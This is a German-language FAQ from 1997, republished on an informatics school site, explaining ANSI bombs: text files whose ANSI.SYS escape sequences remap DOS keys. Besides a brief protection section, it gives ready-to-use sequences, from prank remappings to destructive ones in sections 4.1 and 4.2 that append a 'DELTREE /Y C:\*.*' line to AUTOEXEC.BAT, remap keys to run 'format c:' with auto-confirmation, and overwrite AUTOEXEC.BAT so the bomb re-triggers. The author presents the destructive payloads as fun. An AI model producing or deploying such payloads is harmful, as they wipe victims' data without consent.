© 2003 unki.de/Schulcd : Informatik
ANSI Bomben FAQ 1.0
Copyright 1997 by Arthur Konze
Verwendete Symbole:
Inhaltsverzeichnis
Diese FAQ darf frei weitergegeben werden solange sie erstens
nicht verändert wird und zweitens dafür keine Kosten erhoben
werden. Sie untersteht jedoch weiterhin meinem Copyright.
Änderungsvorschläge bitte direkt an den Autor unter
2:2452/172.18 oder 100607.1157@compuserve.com. Ich weise darauf
hin, daß ich keinerlei Haftung für Schäden übernehme, die durch
dieses Dokument entstehen.
INHALTSVERZEICHNIS
1.1 Was ist eine ANSI Bombe?
1.2 Welche Voraussetzungen brauchen ANSI Bomben?
1.3 Wie kann ich mich vor ANSI Bomben schützen?
2.1 Wie funktioniert eine ANSI Bombe?
2.2 Ist das nicht zu ersichtlich?
2.3 Muß ich alle ASCII Codes auswendig können?
2.4 Wie programmiere ich die Taste F1 um?
3.1 Wie wärs mit ein paar einfachen Beispielen?
3.2 Die "255Space" Bombe
3.3 Die "Return Back" Bombe
3.4 Die "Fuck You" Bombe
4.0 Hast du nichts was wirklich wehtut?
4.1 Die "Dir Killer" Bombe
4.2 Die "Format it" Bombe
1.1 Was ist eine ANSI Bombe?

Eine ANSI Bombe ist eine normale ASCII Textdatei, die mit ANSI
Steuercodes versehen ist. Mit Hilfe dieser Steuercodes kann man
Texte formatieren. Neben der Positionierung des Cursors und dem
Hinzufügen von Farben lassem sich aber auch Tasten
umprogrammieren. Diese Möglichkeit nutzen die sogenannten ANSI
Bomben um gebräuchliche Tasten wie "a" oder "e" so
umzuprogrammieren, daß sie stören oder Schaden anrichten.
1.2 Welche Voraussetzungen brauchen ANSI Bomben?

Voraussetzung für das Funktionieren einer ANSI Bombe ist ein
geladener ANSI.SYS Treiber oder ein geladenes Äquivalent, das
die Umprogrammierung von Tasten unterstützt. Ohne diesen
Treiber findet keine Umprogrammierung statt und somit keine
Aktivierung der Bombe. Weiterhin muß die Textdatei in der sich
die Bombe befindet mit dem DOS Befehl "type" ausgegeben werden.
1.3 Wie kann ich mich vor ANSI Bomben schützen?

Die einfachste Möglichkeit ist keinen ANSI Treiber zu laden.
Sollte dies nicht möglich sein, dann solltet ihr einen ANSI
Treiber verwenden, der keine Umprogrammierung von Tasten
zuläßt. Ist auch das nicht möglich, dann ist der Einsatz eines
Textanzeigeprogramms wie "LIST" an Stelle von "type" die
einzige Möglichkeit sich einigermaßen zu schützen.
2.1 Wie funktioniert eine ANSI Bombe?

Um zu verstehen wie ANSI Bomben aufgebaut werden schaut man
sich am besten ein Beispiel an. Das nachfolgende einfache
Beispiel soll zunächst nur einmal die Umprogrammierung der
Tasten verdeutlichen. Beim Drücken der Taste "d" wird
automatisch ein "dir" ausgeführt. Hierbei muß, wie auch in
allen folgenden Beispielen, die Zeichenfolge "ESC" durch den
ASCII Code 27 (Escape Taste) ersetzt werden.
ESC["d";"dir";13p
| | | | | | ||
| | | | | | |+- Befehl zum Umprogrammieren am Ende jeder Sequenz
| | | | | | +-- Code für die Return Taste zum automatischen
| | | | | | Ausführen der Befehlssequenz "dir"
| | | +--|--+---- Das Semikolon dient als Trenner einzelner
| | | | Abschnitte bzw. ASCII Codes
| | | +------- Die neue Tastenbelegung, der "dir" Befehl
| | +------------ Die Taste die umprogrammiert werden soll,
| | hier das "d"
+--+-------------- Die Sequenz ESC und [ leitet jede ANSI
Steuersequenz ein
2.2 Ist das nicht zu ersichtlich?

Doch, das ist es! Ich habe nur diese einfache Schreibweise
gewählt, damit das Beispiel einfacher nachzuvollziehen ist.
Normalerweise setzt man an Stelle der Zeichen deren ASCII
Codes. Dann werden auch die einzelnen Abschnitte nicht mehr in
Hochkommas geschrieben. Das Beispiel von 2.1 sähe dann wie
folgt aus: ESC[68;68;73;82;13p
2.3 Muß ich alle ASCII Codes auswendig können?

Nein. Alle Codes in der DOS Hilfe zu ANSI.SYS. Dort könnt ihr
alle ASCII Codes nachlesen. Desweiteren ist diese Hilfsdatei
ein gutes Nachschlagewerk für Informationen im Bezug auf ANSI
Programmierung. Also umbedingt mal reinschauen.
2.4 Wie programmiere ich die Taste F1 um?

Auch dies erfahrt ihr in der Hilfe zu ANSI.SYS. Also RTFM!!!
3.1 Wie wärs mit ein paar einfachen Beispielen?

Na gut. Hier also ein paar kleine Bomben, die nicht wehtun.
Wichtig ist, daß ihr beim Ausprobieren immer vorher das ESC
durch ein ASCII 27 ersetzt.
3.2 Die "255Space" Bombe

Diese Bombe vertauscht den ASCII Code 32 für die Leertaste mit
dem ASCII Code 255, das nicht als Leerzeichen sondern als
Buchstabe interpretiert wird.
ESC[32;255p
3.3 Die "Return Back" Bombe

Diese Bombe läst beim Drücken der Taste RETURN auch eine
Backspace aus und gestaltet die Tastatureingabe sehr schwierig.
ESC[13;8;13p
3.4 Die "Fuck You" Bombe

Dies ist eine komplexe, codierte Bombe, die beim Drücken der
Leertaste oder der Return Taste den Text "Fuck you^Fuck you"
ausgibt.
ESC[32;32;70;85;67;75;32;89;79;85;33;94;71;94;71;32;32;70;85
;67;75;32;89;79;85;33;7;7;32p
ESC[13;32;70;85;67;75;32;89;79;85;33;94;71;94;71;32;32;70;85
;67;75;32;89;79;85;33;7;7;32p
4.0 Hast du nichts was wirklich wehtut?

Doch natürlich! Hier also zwei Beispiele, die wirklich Schaden
anrichten können. Auch hier muß das ESC natürlich durch ein
ASCII 27 ersetzt werden. Ich weise nochmals darauf hin, daß ich
keinerlei Haftung für möglich Schäden übernehme!
4.1 Die "Dir Killer" Bombe

Beim Drücken der Taste "a" werden neue Befehlszeilen an die
Datei AUTOEXEC.BAT angefügt, die beim nächsten Rechnerstart
alle Verzeichnisse löschen.
ESC["a";13;"ECHO DELTREE /Y C:\*.* >>AUTOEXEC.BAT" ;13;"CLS"13;13p
4.2 Die "Format it" Bombe

Diese Bombe ist darauf ausgerichtet den Anwender dazu zu
bringen seine Festplatte zu formatieren. Folgenden Tasten
werden hier umprogrammiert:
c,C, -> Format c:+
y,Y,n,N,+c,+ -> y+
d,D,t,T -> Ersetzen die AUTOEXEC.BAT
durch eine Datei, die die
Bombe aktiviert
Die Bombe besitzt eine enorme Sprengkraft! Es ist also äußerste
Vorsicht geboten. Ok, genug geredet! Rein ins Vergnügen:
ESC[99;"format c:";13p
ESC[67;"format c:";13p
ESC[121;121;13p
ESC[89;89;13p
ESC[110;121;13p
ESC[78;89;13p
ESC[8;format c:";13p
ESC[0;0;89;13p
ESC[3;89;13p
ESC[100;"copy key.ans c:\";13;"copy con
c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
ESC[68;"copy key.ans c:\";13;"copy con
c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
ESC[116;"copy key.ans c:\";13;"copy con
c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
ESC[84;"copy key.ans c:\";13;"copy con
c:\autoexec.bat";13;"type key.ans";13;26;13;"cls";13p
War diese Seite für Sie hilfreich und möchten Sie vielleicht auch mir einmal einen Gefallen machen??
Dann wäre ich Ihnen dankbar, wenn Sie sich bei AMAZON über unteren Link ein Buch, eine CD oder
ein sonstiges Produkt über diesen Link bestellen würden.
mit dankbaren Grüßen
Andreas (Unki)
|